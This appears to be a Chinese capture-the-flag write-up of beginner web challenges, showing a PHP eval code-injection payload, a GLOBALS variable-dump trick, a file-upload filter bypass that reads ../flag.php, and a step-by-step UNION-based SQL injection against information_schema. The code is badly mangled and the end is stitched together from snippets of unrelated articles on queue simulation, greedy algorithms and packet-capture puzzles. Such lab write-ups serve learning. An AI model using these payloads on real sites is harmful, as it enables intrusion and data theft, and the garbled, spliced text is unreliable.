<?php
include
"flag.php";$a
= @$_request
['hello'];
eval
("var_dump($a
);")
;show_source
(__file__
);
題目知識點:file_get_contents(path)函式,獲得指定路徑下的檔案內容,以字串的形式返回出來。
eval(str)函式,把括號裡的字串,當作php命令來執行。
解題思路:
這一題,把乙個file_get_contents()函式命令賦值給$a傳入var_dump()中。var_dump()函式就是把這個命令以字串的形式返回,進入到巢狀的eval函式裡面,讓eval函式來執行這行命令。
分值:10分 型別:misc web已解答 題目: flag就在某六位變數中。
php include
"flag.php"
;//包含flag.php
$a= @$_request
['hello'];
//$a這個變數表示hello這個請求變數的值if(
!preg_match
('/^\w*$/',$a
))// /w等價於"[a-za-z0-9],這裡表示以
eval
("var_dump($$a
);")
;//如果匹配輸出\$\$a的值
show_source
(__file__);
?>
解題預備知識:兩個符的含義,在php語言中,變數名可以用另乙個變數來表示。如下面的**中,$a=「b」,那麼
a就等於b,則輸出b的值 「hello world!」
<?php $a=
'b';$b=
"hello world!"
;eval
("var_dump($$a
);")
;?>
preg_match函式返回值為匹配到的次數。
解題流程:
審計**可以知道,我們可以用get傳值方式(?hello=),來給a賦值,最後會輸出(我傳給$a的值)。
想到上面的globals知識,那就之間傳入globals,讓把所有的變數都列印出來。最後,得到flag。
**題目內容:**想怎麼傳就怎麼傳,就是這麼任性。tips:flag在flag.php中
解題預備知識:
上傳檔案漏洞,再上傳檔案時會過濾掉特殊字元。在本次題目中過濾掉了<?和小寫的php 。
例如:
<?php
$myfile
=fopen
("../flag.php"
,"r")or
die(
"unable to open file!");
echo
fread
($myfile
,filesize
("../flag.php"))
;fclose
($myfile);
?>
檢視上傳檔案為:
$myfile
=fopen
("../flag."
,"r")or
die(
"unable to open file!");
echo
fread
($myfile
,filesize
("../flag."))
;fclose
($myfile);
?>
解決措施:嘗試用"php"
>
$myfile
=fopen
("../flag."
.strtolower
("php"),
"r")
ordie
("unable to open file!");
echo
fread
($myfile
,filesize
("../flag."
.strtolower
("php"))
);fclose
($myfile);
<
/script>**題目內容:**出題人就告訴你這是個注入,有種別走!
解題預備知識:
salmap的使用:在使用時我發現沒有發現注入點。怎麼回事,隨後進行手工注入發現被過濾了。如果有人想用sqlmap的話要先寫指令碼,不會看看大佬的。
hackbar:在網頁輸入url小工具
解題思路:
?id=
1and1=
1
顯示原網頁,存在注入漏洞。
?id=
1 ord<>er by
3
by 4的時候不顯示,說明只有3個字段。
?id=
1union sele<>ct 1,2
,3
顯示結果2,說明在第二個字段顯示
?id=
1union sele<>ct 1
,database()
,3
顯示 sqli
?id=
1union sele<>ct 1
,group_contact(table_name),3
from information_schema.
tables
where table_schema=
'sqli'
顯示:info,users
?id=
1union sele<>ct 1
,group_contact(column_name),3
from information_schema.
columns
where table_name=
'info'
顯示:id,title,flag_t5zndrm
?id=
1union sele<>ct 1
,flag_t5zndrm,
3from info
顯示:自己做
<?php
include
"flag.php";$a
= @$_request
['hello'];
eval
("var_dump($a
);")
;show_source
(__file__
);
題目內容:我是誰,我在哪,我要做什麼?
解題思路:
題目內容:
善於查資料,你就可以拿一血了。
知識點:解題步驟:
PTA 佇列模擬題目型別總結及解題思路 C
如1014,1017,1026,以下給出1017題目 如1006,1016,1095,以下給出1016題目 如何處理輸入的資料?int month,day,hour,min scanf d d d d month,day,hour,min 一般講所有的時間轉化為讀入的最小時間單元,用乙個變數儲存。在...
acm 貪心感悟及解題思路
金銀島輸入 第1行是測試資料的組數k,後面跟著k組輸入。每組測試資料佔3行,第1行是乙個正整數w 1 w 10000 表示口袋承重上限。第2行是乙個正整數s 1 s 100 表示金屬種類。第3行有2s個正整數,分別為n1,v1,n2,v2,ns,vs分別為第一種,第二種,第s種金屬的總重量和總價值 ...
CTF解題思路 資料報相關題目
實戰 1 直接從資料報中找 flag flag unicode類字串 實戰 2 需要繞個圈子的題目 base64編碼題目 比如說 給了乙個資料報,讓你找flag,在實戰 1 方法無效的情況下,該如何尋找 一般情況下,都會埋乙個flag在資料報內,flag字串找不到,那極有可能是加密了。此時考慮最常見...